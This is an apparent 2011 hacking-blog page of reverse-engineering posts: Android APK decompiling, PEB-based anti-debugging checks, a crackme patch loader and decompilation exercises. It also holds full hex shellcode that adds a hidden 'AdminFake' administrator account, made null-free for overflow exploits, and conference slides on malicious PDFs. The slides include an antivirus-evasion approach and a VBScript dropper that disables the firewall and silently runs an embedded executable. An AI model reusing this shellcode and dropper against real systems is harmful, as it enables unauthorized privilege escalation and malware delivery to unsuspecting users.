hakers.info » MalwareAnalysis

Reversing and Spoofing Android Applications

w0rm — Tue, 18 Oct 2011 05:16:50 +0000

One of the major drawbacks with Mobile apps is that they can be Reversed. If we look at the Android app architecture, it contains a source code which is developed by user. That source code is compiled and finally created as a ‘.dex’ file which is the dalvik executable. This ‘.dex’ file can be compared with ‘.jar’ file of java. Dex file clubbed with the resources files are archived to become a APK file. So this apk file is just a archive file similar to a zip file whose contents can be extracted using any archive explorer tool like winzip or 7-zip. After extracting files from an apk file you’ll get a ‘classes.dex’ file which contains the actual code of the application. This dex file can be reversed using my opensource tools like Baksmali(click here to download), dex2jar , apktool.
The video attached below will show you how we can use baksmali tool to decompile and compile the application again. The one thing which gets eliminated by this process is the Application signature. After compiling the application we need to add signature to it so that it can be installed on a device or emulator.

.
.

.
.

Hope you enjoyed it!!
We’ll upload some more tutorials for dex2jar and apktool pretty soon!!

Anti Debugging unleashed series # Part 2

b0mbard — Thu, 29 Sep 2011 16:37:13 +0000

NTGlobalFlag 

NTGlobalFlag lies at an offset 0x68 from PEB. The value of NTGlobalFlag

 is 0 when the process is not bein debugged. However, if the process is

 being debugged, the value of this flag is 0x70.

First we see the starting of PEB in windbg:

0:000> !peb
PEB at 7ffd6000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000

Lets parse the PEB:

0:000> dt _PEB 7ffd6000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 SpareBool        : 0 ''
   +0x004 Mutant           : 0xffffffff
   +0x008 ImageBaseAddress : 0x00400000
   +0x00c Ldr              : 0x00271ea0 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null)
   +0x018 ProcessHeap      : 0x00170000
   +0x01c FastPebLock      : 0x7c980600 _RTL_CRITICAL_SECTION
   +0x020 FastPebLockRoutine : 0x7c901000
   +0x024 FastPebUnlockRoutine : 0x7c9010e0
   +0x028 EnvironmentUpdateCount : 1
   +0x02c KernelCallbackTable : (null)
   +0x030 SystemReserved   : [1] 0
   +0x034 AtlThunkSListPtr32 : 0
   +0x038 FreeList         : (null)
   +0x03c TlsExpansionCounter : 0
   +0x040 TlsBitmap        : 0x7c9805c0
   +0x044 TlsBitmapBits    : [2] 1
   +0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
   +0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
   +0x054 ReadOnlyStaticServerData : 0x7f6f0688  -> (null)
   +0x058 AnsiCodePageData : 0x7ffb0000
   +0x05c OemCodePageData  : 0x7ffc1000
   +0x060 UnicodeCaseTableData : 0x7ffd2000
   +0x064 NumberOfProcessors : 2
   +0x068 NtGlobalFlag : 0x70

As you can see, the NtGlobalFlag is set to 0x70.

Following is the assembly code to detect the same:
MOV EAX, fs:[0x30]       ;PEB in eax

MOV EAX, dword ptr[EAX+0x68]  ;Value of NTGlobalFlag in EAX

CMP EAX,0x70			 ;If equal, means debugger present

HeapFlags
As a side effect of NtGlobalFlags being set, heaps that are created

will have some flags turned on that can be used for anti debugging.

 Every process has a default process heap. Flags and ForceFlags for

a heap are 0x02(means the heap can grow) and 0 respectively. However,

 when debugging, they are set to 0x50000062 and 0x40000060

   Lets see the whole picture in windbg:

0:000> dt _PEB 7ffd6000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 SpareBool        : 0 ''
   +0x004 Mutant           : 0xffffffff
   +0x008 ImageBaseAddress : 0x00400000
   +0x00c Ldr              : 0x00271ea0 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null)
   +0x018 ProcessHeap : 0x00170000
   +0x01c FastPebLock      : 0x7c980600 _RTL_CRITICAL_SECTION

So, we know that the default process heap gets created at address

0x00170000. Lets parse the heap at this address:

0:000> dt _HEAP 170000
ntdll!_HEAP
   +0x000 Entry            : _HEAP_ENTRY
   +0x008 Signature        : 0xeeffeeff
   +0x00c Flags : 0x50000062
 +0x010 ForceFlags : 0x40000060
   +0x014 VirtualMemoryThreshold : 0xfe00
   +0x018 SegmentReserve   : 0x100000
   +0x01c SegmentCommit    : 0x2000

So, malware authors can check these values for detecting the debuggers. Following is the assembly code to find the same(consider the debugger running):

MOV EAX, FS:[0x30]      ;Go to PEB

MOV EAX, dword ptr[EAX+0x18]   ;EAX holds the address of default

                               ;process heap

MOV EBX, dword ptr[EAX+0xc]     ;EBX holds the value of Flags

MOV ECX, dword ptr[EAX+0x10]   ;ECX holds the ForceFlags

PE Parser

b0mbard — Thu, 29 Sep 2011 15:37:53 +0000

Understanding the structure of PE file is very important from the reverser’s point of view. And, I think the best way to learn it is to code a PE file parser itself. So, here is my PE Parser. This was compiled using Visual studio 8.

(Change the exetension to .rar)

PE_ParserÂ download

Ch33r5 !!!

Anti Debugging unleashed series # Part 1

b0mbard — Mon, 26 Sep 2011 14:52:48 +0000

This is the first in the series of anti debugging tricks. I will discuss the various anti debugging tricks one by one in my further posts:

I will start with the most basic ones.

The first one in the race is the PEB.BeingDebugged flag.

PEB refers to Process Environment Block, and it contains the information regarding the Environment and various parameters of a process. fs:[0x30] always points to PEB. The structure of PEB can be seen using the following command in windbg:

0:000> dt _PEB

+0×000 InheritedAddressSpace : UChar

+0×001 ReadImageFileExecOptions : UChar

+0×002 BeingDebugged : UChar

+0×003 SpareBool : Uchar

For a process that is being debugged, note the peb.BeingDebugged flag below in windbg:

!peb

PEB at 7ffda000

InheritedAddressSpace: No

ReadImageFileExecOptions: No

BeingDebugged: Yes

ImageBaseAddress: 00400000

Ldr 00261ea0

Hence, a program using the anti debugging techniques can use this flag to know whether the program is being debugged or not.

The api IsDebuggerPresent() in kernel32.dll checks this flag to determine the presence of the debugger.

This check can be easily bypassed by patching the PEB.BeingDebugged flag to 0.

Ch33r5 !!!

Zi_Crakme

b0mbard — Fri, 02 Sep 2011 17:08:17 +0000

Zi _CrackmeÂ (Download crackme)

Â Zi_Crackme

=========

This is a simple crackme, and it took only 5 minutes to crack fom a noobe like me. Here comes the solution:

Target Study

=========

Run the target. You see something like the below:

We need to change the registration routine, so that whatever the input we give, it accepts it.

Fire the olly. Now, the problem is how do we reach the routine where this serial registration is shown. I tried looking at call stack, but of no help. What to do now ?

Lets use the “animate” feature of the olly to reach near this registration routine. Do “animate over”, and whenever you get the serial registration screen, there should be a call which lead to the screen. So, breakpoint the call, do F9, step in(F7), and “Animate over” again. Doing this again and again will take you closer to the registration routine.

When we follow the above strategy, we see something like:

Stepping over the code, we see the following:

If the EAX is 0, then CMP EAX,0 will set the zero flag, and the JNZ will lead to the wrong serial. So, we need to patch the code somewhere here. There can be many possibilities, and for that brain usage is strictly recommended I will simply NOP the JNZ instruction, and check if it runs es, it fine. Yes, I can see the message “Well Done”.

But But But ……. OOPS !! Address A50183 is allocated at runtime, so we cannt directly change the instruction to nop. We need to write a loader for it.

So, here is the script for loader(I am using RISC Loader creater)

O=risc_Zi _Crackme.exe: ;Output filename

F=Zi _Crackme.exe: ;File to patch

T=50000: ;Patching times

P=00A50183/0F,85,20,00,00,00/90,90,90,90,90,90: ;Patch the JNZ

However, the loader this script will create doesnt work. So, I tried out some more reversing and found the reason. The address A50000h gets populated with instructions after you have entered the serial. In the meantime you enter the serial, the loader has already finished.

By reversing in depth(again using animate over and F7 trick), I found the following instruction to be responsible for copying the code.

10099FE3 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

He He…. so everything is clear now. The code from the location specified by ESI gets copied to the location specified by EDI. Think… think .. think.. !! You only need to change the corresponding instruction from ESI.

EDI = 0A50000

ESI = 1016cb5c

A50183-A50000=183h

So, adding 183h to ESI

1016cb5c+183h=1016CCDF

You will notice that it is the same JNZ instruction at address 1016CCDF. Its your wish now whether to directly patch it, or change the address in RISC loader creator script.

The new RISC loader script is:

O=risc_Zi _Crackme.exe: ;Output filename

F=Zi _Crackme.exe: ;File to patch

P=1016ccdf/0F,85,FC,FF,FF,FF/90,90,90,90,90,90: ;Patch the JNZ

Yippie !!!! it works beautifully.

CHEERS !!!!

Binary-auditing training package – Manual decompilation, Exercise 8

b0mbard — Sat, 13 Aug 2011 13:45:53 +0000

This problem statement is part of binary-auditing package. This needs

to be converted to HLL

Problem:(Assembly code)

sub_408138 proc near
000 push ebx
004 push esi
008 mov esi, edx
008 dec esi
008 test esi, esi
008 jl short loc_40816F
008 inc esi
loc_408142:
008 xor edx, edx
008 mov dl, [eax]
008 xor ebx, ebx
008 mov bl, cl
008 add edx, ebx
008 test edx, edx
008 jge short loc_40815B
008 mov ebx, 100h
008 sub ebx, edx
008 mov edx, ebx
008 jmp short loc_408169
loc_40815B:
008 cmp edx, 100h
008 jle short loc_408169
008 sub edx, 100h
loc_408169:
008 mov [eax], dl
008 inc eax
008 dec esi
008 jnz short loc_408142
loc_40816F:
008 pop esi
004 pop ebx
000 retn
sub_408138 endp

Pseudo/High Level code:
var_esi = var_edx;
var_esi -- ;

if(var_esi >=0)
var_esi++;

do
{
var_edx=0;
LOWER byte of EDX=*var_eax;  //EAX supplied from outside

var_ebx=0;
LOWER byte of EBX=LOWER byte of ECX;  //ECX supplied from outside

var_edx=var_edx+var_ebx;

if(var_edx<0)
{
var_ebx=100h;   //256
var_ebx=var_ebx-var_edx;
var_edx=var_ebx;
}
else
{
if(var_edx>100h)
var_edx=var_edx-100h;
}

*var_eax=LOWER byte of EDX
var_eax++;
}while(--var_edx!=0)

binary-auditing RCE exercise

b0mbard — Thu, 11 Aug 2011 18:27:39 +0000

As a part of learning reverse engineering and enhancing RCE skills, I was going through binary-auditing tutorials. This is manual decompilation exercise 7.

Problem: This is the code to be analysed:

proc near
000 push ebx
004 push esi
008 xor ebx, ebx
008 mov [eax], ebx
008 mov ebx, ecx
008 dec ebx
008 test ebx, ebx
008 jl short loc_408135
008 inc ebx
loc_40810E:
008 mov ecx, [eax]
008 shl ecx, 4
008 movzx esi, byte ptr [edx]
008 add ecx, esi
008 mov [eax], ecx
008 mov ecx, [eax]
008 and ecx, 0F0000000h
008 test ecx, ecx
008 jz short loc_40812D
008 mov esi, ecx
008 shr esi, 18h
008 xor [eax], esi
loc_40812D:
008 not ecx
008 and [eax], ecx
008 inc edx
008 dec ebx
008 jnz short loc_40810E
loc_408135:
008 pop esi
004 pop ebx
000 retn
sub_408100 endp

And here is the solution:
var1_eax  //eax  -->pointer variable
var2_ebx=0;
var4_edx;
var5_esi;
*var1_eax=0;
var2_ebx= ecx;

var2_ebx--;

if(var2_ebx >=0)
{
var2_ebx++;
}
else
return;

do
{
var3_ecx=*var1_eax; //value of eax
var3_ecx=var3_ecx*16;   //multiply by 16
var5_esi=BYTE at var4_edx;   //movzx
var3_ecx=var3_ecx+var5_esi;
*var1_eax=var3_ecx;
var3_ecx=*var1_eax;
var3_ecx=var3_ecx&0F0000000h;

if(var3_ecx!=0)
{
var5_esi=var3_ecx;
var5_esi=var5_esi/24;
*var1_eax=(*var1_eax)^var5_esi;
}

var3_ecx=! var3_ecx
*var1_eax=(*var1_eax)&var_ecx;

var4_edx++;

}while(var2_ebx-- != 0)

Writing Self modifying shellcode

b0mbard — Sun, 31 Jul 2011 17:59:41 +0000

Nowadays, as I am working on the shellcoding, I thought of writing the self modifying shellcode. Normally, this kind of behaviour is seen in malwares, packers etc, where the code gets modified due to the other instructions. Lets have a look how to do so:

I will be taking the example of MessageBox shellcode. This shellcode I have prepared earlier. Using it as a basis, I would write the self modifying code. The shellcode for MessageBox looks like:

004040A0 31DB Â Â Â XOR EBX,EBX ;Zero the EBX

004040A2 68 47474700 Â Â Â PUSH 0×00474747 ;PUSH â€œGGGâ€

004040A7 8BDC Â Â Â Â Â Â Â Â Â Â MOV EBX,ESP ;Mov stack ptr in EBX

004040A9 50 Â Â Â Â Â Â Â Â Â PUSH EAX ;Push EAX. We will make it 0 first

004040AA 53 Â Â Â Â Â Â Â PUSH EBX

004040AB 53 Â Â Â Â Â Â PUSH EBX

004040AC 50 Â Â Â Â Â Â PUSH EAX

004040AD BB 0B05D877 Â Â Â Â MOV EBX,0x77D8050B ;USER32.MessageBoxA ;

004040B2 FFD3 Â Â Â Â CALL EBX

004040B4 33C0 Â Â Â Â XOR EAX,EAX

004040B6 50 Â Â Â Â Â PUSH EAX

004040B7 BB A2CA817C Â Â Â Â MOV EBX,0x7C81CAA2 ;kernel32.ExitProcess ;

004040BC FFD3 Â Â Â Â Â Â Â Â Â CALL EBX

This shellcode will produce a messageBox with the title and the message as â€œGGGâ€.

So, what is required to write a self modifying code? We can divide the whole complexity in few steps:

We need to know the address in the memory where our code starts execution. This is required to modify the instructions.
We will then change the instructions one by one, modifying the existing instructions and write our shellcode.

The question is how to know the starting address of our code. We will use the following instructions to accomplish this:

FLDZ

FSTENV

These are the FPU instructions. When FSTENV instruction is preceded by some other FPU instruction (in our case, it is FLDZ), then the result of the FSTENV is pushed on to the stack, and the result is none other than the address of the previous FPU instruction. More details can be seen at: http://www.website.masmforum.com/tutorials/fptute/fpuchap3.htm#fstenv

So, what this means, is that if we give these two instructions along with each other in the beginning of our shellcode, we can get the starting point of our code. Lets see how to do it:

FLDZ

FSTENV [ESP-0xC] ;

The net result of the above two instructions will be the address of FLDZ instruction gets saved on to the stack. So, we have control over the code now.

PS: When the above two instructions are used together, a WAIT instruction is introduced in between, which can be seen when you run it through a debugger.This WAIT is 1 byte instruction. You can also use FNSTENV instruction, which doesnt put an extra WAIT instruction between the two.

Note: The address for the MessageBox function in my windows XP SP2 is 0x77BB050B

and the address for ExitProcess function is 0X7CBBA2CA

The following code does the job:

[Section .text]

BITS 32

global _start

_start:

FLDZ ;This takes 2 bytes. However, if you look in debugger, a WAIT instruction is also

;added automatically which takes 1 byte

FSTENV [ESP-0xC] ;So ,now ESP points to the first instruction. Hence, we can control our code ;Also,this instruction takes 5 bytes

POP ECX ;This takes 1 byte instruction.

MOV WORD[ECX],0xDB31 ; Puts xor ebx,ebx by overwriting FLDZ

MOV DWORD[ECX+2],0×47474768 ;Push letter “GGG” on the stack(overwrite the next ;instruction)

MOV BYTE[ECX+6],0×48 ;Placeholder for null byte

XOR EAX,EAX

MOV BYTE[ECX+6],AL ;changes the string to “GG”,0 and hence an actual string

MOV WORD[ECX+7],0xDC8B ;Mov EBX,ESP– the pointer to the string

MOV BYTE[ECX+9],0×50 ;PUSH EAX, fourth parameter… MB_OK

MOV BYTE[ECX+10],0×53 ;PUSH EBX, the third parameter

MOV BYTE[ECX+11],0×53 ;PUSH EBX, the second parameter

MOV BYTE[ECX+12],0×50 ;PUSH EAX, first parameter… 0

MOV DWORD[ECX+13],0xD8050BBB ;These two instructions move the address of

MOV BYTE[ECX+17],0×77 ;MessageBox function in EBX register

;Note:This will differ for you according to the ;MessageBox function address

MOV WORD[ECX+18],0xD3FF ;CALL EBX

MOV WORD[ECX+20],0xC033 ;XOR EAX,EAX

MOV BYTE[ECX+22],0×50 ;PUSH EAX (=0) on stack

MOV DWORD[ECX+23],0x81CAA2BB ;These two instructions will

MOV BYTE[ECX+27],0x7c ;call ExitProcess() function. Note: This will differ ;according to the ExitProcess() function address

MOV WORD[ECX+28],0xD3FF ;call EBX

JMP ECX ;Jump to the beginning of our code which has been ;modified

Compile the above code using NASM, and you can use pveReadBin utility (Thanks to corelan team) to extract the hex codes for the above instructions. Test them in the shellcodetest program as follows:

#include

char code[]=

“\xd9\xee\x9b\xd9\x74\x24\xf4\x59″

“\x66\xc7\x01\x31\xdb\xc7\x41\x02″

“\x68\x47\x47\x47\xc6\x41\x06\x48″

“\x31\xc0\x88\x41\x06\x66\xc7\x41″

“\x07\x8b\xdc\xc6\x41\x09\x50\xc6″

“\x41\x0a\x53\xc6\x41\x0b\x53\xc6″

“\x41\x0c\x50\xc7\x41\x0d\xbb\x0b”

“\x05\xd8\xc6\x41\x11\x77\x66\xc7″

“\x41\x12\xff\xd3\x66\xc7\x41\x14″

“\x33\xc0\xc6\x41\x16\x50\xc7\x41″

“\x17\xbb\xa2\xca\x81\xc6\x41\x1b”

“\x7c\x66\xc7\x41\x1c\xff\xd3\xff”

“\xe1″;

int main(int argc, char **argv)

{

int (*func)();

func=(int(*)())code;

(int)(*func)();

}

When this program is run, it will pop up the messagebox. I recommend to watch the running executable of the above program in a debugger(my favourites… Immunity/Ollydbg). This will help you to understand all the gaps left behind.

Writing Shellcode

b0mbard — Sun, 31 Jul 2011 17:55:22 +0000

The WinExec shellcode (NASM)

==============================

[Section .text]

BITS 32

global _start

_start:

JMP GetCmd

ReturnfromCommand:

POP EBX ;Holds the Pointer to the command string to be executed using WinExec

MOV ECX,1 ;Parameter 2 for WinExec SW_SHOWNORMAL

PUSH ECX ;Push the 2nd param on the stack

PUSH EBX ;Push the first Param

XOR EBX,EBX ;Zero the EBX register

MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility

CALL EBX ;Call the WinExec

XOR EAX,EAX ;Zero EAX

PUSH EAX ;Push EAX on the stack

XOR EBX,EBX ;Zero the EBX

MOV EBX,0X7c81caa2 ;Address of ExitProcess function

CALL EBX ;Call ExitProcess for clean exit

GetCmd:

CALL ReturnfromCommand ;This saves the EIP on the stack, which points to the next instruction to be executed

;In our case, the next instruction is nothing, but pointing to the string

;to be passed as the command to the WinExec function

db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFake”,0

Now, we use the NASM to compile the WinExec.asm:

NASM WinExec.asm -o WinExec.bin

This generates the WinExec.bin file, and we extract the Hex codes from it using the pveReadBin.pl utility(corelan site):

pveReadBin.pl WinExec.bin

“\xeb\x1d\x5b\xb9\x01\x00\x00\x00″

“\x51\x53\x31\xdb\xbb\x4d\x11\x86″

“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”

“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″

“\xde\xff\xff\xff\x63\x6d\x64\x2e”

“\x65\x78\x65\x20\x2f\x63\x20\x6e”

“\x65\x74\x20\x75\x73\x65\x72\x20″

“\x41\x64\x6d\x69\x6e\x46\x61\x6b”

“\x65\x20\x41\x64\x6d\x69\x6e\x50″

“\x61\x73\x73\x20\x2f\x41\x44\x44″

“\x20\x26\x26\x20\x6e\x65\x74\x20″

“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”

“\x75\x70\x20\x41\x64\x6d\x69\x6e”

“\x69\x73\x74\x72\x61\x74\x6f\x72″

“\x73\x20\x2f\x41\x44\x44\x20\x41″

“\x64\x6d\x69\x6e\x46\x61\x6b\x65″

“\x00″;

Test the Hex code generated by putting it in the shellocdetest program:

char code[] = “shellcode here”

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

Replace the â€œshellcode hereâ€ with the hex codes:

char code[] = “\xeb\x1d\x5b\xb9\x01\x00\x00\x00“

“\x51\x53\x31\xdb\xbb\x4d\x11\x86″

“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”

“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″

“\xde\xff\xff\xff\x63\x6d\x64\x2e”

“\x65\x78\x65\x20\x2f\x63\x20\x6e”

“\x65\x74\x20\x75\x73\x65\x72\x20″

“\x41\x64\x6d\x69\x6e\x46\x61\x6b”

“\x65\x20\x41\x64\x6d\x69\x6e\x50″

“\x61\x73\x73\x20\x2f\x41\x44\x44″

“\x20\x26\x26\x20\x6e\x65\x74\x20″

“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”

“\x75\x70\x20\x41\x64\x6d\x69\x6e”

“\x69\x73\x74\x72\x61\x74\x6f\x72″

“\x73\x20\x2f\x41\x44\x44\x20\x41″

“\x64\x6d\x69\x6e\x46\x61\x6b\x65″

“\x00″;

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

Compile, link and run the program. This will add an administrator user â€œAdminFakeâ€ with password â€œAdminPassâ€

NULL BYTE PROBLEM:

The above shellcode works fine as a standalone program. However, when we need to provide the input to some other program and exploit an overflow, we need to have null bytes eliminated. This makes sure that if the overflown buffer involves string functions, our shellcode would not terminate because of the null \x00 char. In the previous shellcode, there are 3 bytes initially, and one at the end. However, the end null byte need not be removed as it terminates the add user command.

So, Lets view the shellcodeTest.exe in immunity debugger

Note, that the three null bytes are due to MOV ECX,1 instruction. So, we need to overcome this in some manner.

There can be many ways to overcome this. One can be the following:

MOV ECX,99999999

SUB ECX,99999998

which is equivalent to MOV ECX,1. Thus, replace the MOV ECX,1 instruction with the above two statements and generate the shellcode again. For me, the shellcode comes out to be:

“\xeb\x23\x5b\xb9\xff\xe0\xf5\x05″

“\x81\xe9\xfe\xe0\xf5\x05\x51\x53″

“\x31\xdb\xbb\x4d\x11\x86\x7c\xff”

“\xd3\x31\xc0\x50\x31\xdb\xbb\xa2″

“\xca\x81\x7c\xff\xd3\xe8\xd8\xff”

“\xff\xff\x63\x6d\x64\x2e\x65\x78″

“\x65\x20\x2f\x63\x20\x6e\x65\x74″

“\x20\x75\x73\x65\x72\x20\x41\x64″

“\x6d\x69\x6e\x46\x61\x6b\x65\x20″

“\x41\x64\x6d\x69\x6e\x50\x61\x73″

“\x73\x20\x2f\x41\x44\x44\x20\x26″

“\x26\x20\x6e\x65\x74\x20\x6c\x6f”

“\x63\x61\x6c\x67\x72\x6f\x75\x70″

“\x20\x41\x64\x6d\x69\x6e\x69\x73″

“\x74\x72\x61\x74\x6f\x72\x73\x20″

“\x2f\x41\x44\x44\x20\x41\x64\x6d”

“\x69\x6e\x46\x61\x6b\x65\x00″;

And when I run the shellcodetest.exe, the user â€œAdminFakeâ€ is created.

However, still one null byte remains at the end of the shellcode. What to do now ? There is one solution though. We will modify our assembly code as follows:

[Section .text]

BITS 32

global _start

_start:

JMP GetCmd

ReturnfromCommand:

POP EBX ;Holds the Pointer to the command string to be executed using ;WinExec

XOR EAX,EAX

MOV [EBX+92],AL ;This will replace the placeholder ‘Z’ in the string with null byte

MOV ECX,99999999 ;These two instructions

SUB ECX,99999998 ;put 1 in ECX

PUSH ECX ;Push the 2nd param on the stack

PUSH EBX ;Push the first Param

XOR EBX,EBX ;Zero the EBX register

MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility

CALL EBX ;Call the WinExec

XOR EAX,EAX ;Zero EAX

PUSH EAX ;Push EAX on the stack

XOR EBX,EBX ;Zero the EBX

MOV EBX,0X7c81caa2 ;Address of ExitProcess function

CALL EBX ;Call ExitProcess for clean exit

GetCmd:

CALL ReturnfromCommand ;This saves the EIP, which points to the next instruction to be executed

;In our case, the next instruction is nothing, but pointing to the string

;to be passed as the command to the WinExec function

db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFakeZ” ;Length= 92 characters. Note that we have added extra ‘Z’ character as a placeholder.

Assemble the above code, extract hex codes using pveReadBin.pl, and paste them in shellcodeTest.c.

For me, the shellcode comes to be:

“\xeb\x28\x5b\x31\xc0\x88\x43\x5c”

“\xb9\xff\xe0\xf5\x05\x81\xe9\xfe”

“\xe0\xf5\x05\x51\x53\x31\xdb\xbb”

“\x4d\x11\x86\x7c\xff\xd3\x31\xc0″

“\x50\x31\xdb\xbb\xa2\xca\x81\x7c”

“\xff\xd3\xe8\xd3\xff\xff\xff\x63″

“\x6d\x64\x2e\x65\x78\x65\x20\x2f”

“\x63\x20\x6e\x65\x74\x20\x75\x73″

“\x65\x72\x20\x41\x64\x6d\x69\x6e”

“\x46\x61\x6b\x65\x20\x41\x64\x6d”

“\x69\x6e\x50\x61\x73\x73\x20\x2f”

“\x41\x44\x44\x20\x26\x26\x20\x6e”

“\x65\x74\x20\x6c\x6f\x63\x61\x6c”

“\x67\x72\x6f\x75\x70\x20\x41\x64″

“\x6d\x69\x6e\x69\x73\x74\x72\x61″

“\x74\x6f\x72\x73\x20\x2f\x41\x44″

“\x44\x20\x41\x64\x6d\x69\x6e\x46″

“\x61\x6b\x65\x5a”;

This is the null free shellcode.

Client Side Exploits Using PDF

w0rm — Thu, 28 Jul 2011 15:13:46 +0000

View more presentations from hakersinfo

Video for embedding exe in a pdf file

Contents of Presentation!!

Client Side Exploits using PDF C0C0N Security & Hacking Conference
Contents About PDF Launch Action Exploits AcroJs Exploits Road Ahead Tools and References
About PDF
- What is PDF?
- Incidents in the wild
- Why pdf attcks?
- PDF document structure
Potentially Dangerous File / Penetration Document Format
- Stands for Adobe Portable Document Format
- Exchange and manipulation of electronic data reliable and platform independent
- Has become most widespread and used document description format throughout the world
Adobe PDF â€“ As a programming language
- PDF document is more than a powerful document format
- Has a complete programming language of its own
- Dedicated to document creation and manipulation
- Relatively strong execution features
Adobe PDF â€“ Security Issues
2010: Still Continuingâ€¦
2010: Still Continuingâ€¦ March April May June
Incidents in the wild
- Jun 14 CVE-2010-1297 PDF Adobe 0-Day WEO from [email_address]
- Jun 20 CVE-2010-1297 PDF Meeting agenda from [email_address]
- Jun 21 CVE-2010-1297 PDF About the recent US-Japan Economic Relations
- Jun 21 CVE-2010-1297 PDF Adobe 0-Day About the recent US-Japan Economic Relations – with Poison Ivy
- Jun 27 CVE-2009-0927 PDF Discussion on cross-strait maritime cooperation
- Jul 6 CVE-2010-1297 PDF EPA’s Water Sampling Report from spoofed [email_address]
- Jul 14 CVE-2009-4324 PDF President Obama’s Detrimental Deadlines
The Reign of Zeus:
- Zeus (also known as Zbot, PRG, Wsnpoem, Gorhax and Kneber) is a Trojan horse that steals banking information by keystroke logging.
- Found in July 2007 when it was used to steal information from the United States Department of Transportation. It became more widespread in March 2009.
- In June 2009, security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of companies like: Bank of America, NASA, Monster, ABC, Oracle, Cisco, Amazon, BusinessWeek
- ZeuS is sold in the criminal underground as a kit for around $3000-$4000, and is likely the one malware most utilized by criminals specializing in financial fraud. ZeuS has evolved over time and includes a full arsenal of information stealing .
The Reign of Zeus
- A recent breakthrough in spreading Zeus via PDF files threatens to further the spread of Zeus. The pdf file (detected as Exploit.JS.Pdfka.bui) contained an exploit for the CVE-2010-0188 vulnerability – buffer overflow â€“ manifests itself when the field containing the image is accessed.
CVE-2010-0188 exploits statistics 2010
Popular in malwaredomainlist.com
Apple iPhone / iPad / iPod Code Execution and Sandbox Bypass
- VUPEN ID – VUPEN/ADV-2010-1992
- Release date – 2010-08-03
- It is caused by a memory corruption error when processing Compact Font Format (CFF) data within a PDF document, which could be exploited by attackers to execute arbitrary code by tricking a user into visiting a specially crafted web page using Mobile Safari
Why PDF
- Popularity and usability
- Flexibility, platform independent, rich text
- Trust level is high on pdf â€“ static piece of information
- Rich api, easy to exploit / misuse
- Dominance of Adobe reader, huge scope for attack
PDF document structure
- The general structure of a PDF file is composed of the following code components: header, body, cross-reference (xref) table, and trailer, as shown in figure 1.
PDF Document Structure PDF Header Objects Trailer Body Cross reference Table
Launch Action
- Launch Action Api
- Some Examples
- Evading Antivirus
- With embedded EXE
Launch Action Vulnerability
- A launch action launches an application or opens or prints a document. Following are the action dictionary entries specific to this type of action.
- ENTRIES
- S :Name
- Required) The type of action that this dictionary describes; shall be Launch for a launch action.
- F: File specification
- (Required if none of the entries Win , Mac , or Unix is present) The application that shall be launched or the document that shall be opened or printed. If this entry is absent and the conforming reader does not understand any of the alternative entries, it shall do nothing.
- Win : dictionary
- (Optional) A dictionary containing Windows-specific launch parameters.
Launch Action Vulnerability
- PARAMETERS
- F : byte string
- (Required) The file name of the application that shall be launched or the document that shall be opened or printed, in standard Windows pathname format. If the name string includes a backslash character (), the backslash shall itself be preceded by a backslash. This value shall be a simple string; it is not a file specification.
- P : byte string
- (Optional) A parameter string that shall be passed to the application designated by the F entry. This entry shall be omitted if F designates a document.
Launch Action Vulnerability
- Open command prompt
Open website
Launch Action Vulnerability
- Open notepad.exe
Launch Action Vulnerability
Launch Action Vulnerability
- Changing the message
Launch Action Vulnerability Confidential Data!! If You are Authorized Click on ‘Open’. Check ‘Do Not Show This Message Again’ to avoid this dialog next time
Launch Action Vulnerability
Launch Action in 9.3.3
Launch Action Vulnerability
Evading Antivirus by Changing the format
- You can take any other PDF data type and give it a number by wrapping it in "obj" and "endobj". Then later on, when you want to use that chunk of data, you can reference it, by number, with the "R" operator.
- These two examples are equivalent to Acrobat
2 0 obj (Hello World) Endobj 3 0 obj << /Example 2 0 R >> Endobj 3 0 obj << /Example (Hello World) >> endobj
Evading Antivirus
- What You Can Leave Out
- So what’s actually required?
Evading Antivirus
- %PDF-1.
- trailer<>/OpenAction<>>>>>>>>
Evading Antivirus
POC: Launching an Embedded exe
- Step 1 : Embed the hex content of the exe in a vbscript which extracts it out to the file system and runs it.
- Step 2 : Embed that vbscript in the pdf file as comments.
- Step 3 : Launch cmd.exe and create another script which extracts out the main vbscript from the pdf and run them both.
Step 1 : Embed the hex content of the exe in a vbscript
- Dim b,bl
- Function c(d)
- c=chr(d)
- End Function
- b=Array(c(77),c(90),c(144),c(0),c(3),c(0), c(0)….,"")
- bl = 3072
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set f = fso.OpenTextFile(â€œhelpme.exe", 2, True)
- For i = 0 To bl
- f.write(b(i))
- Next
- f.close()
- Set WshShell = WScript.CreateObject("WScript.Shell")
- WshShell.Run "netsh firewall set opmode disable", 0, True
- WshShell.Run "helpme.exe", 0, False
- WshShell.Run "taskkill /IM cmd.exe /F", 0, False
Hex content of the exe as a character array
Step 2 : Embed the vbscript in the pdf file as comments
- %’SS
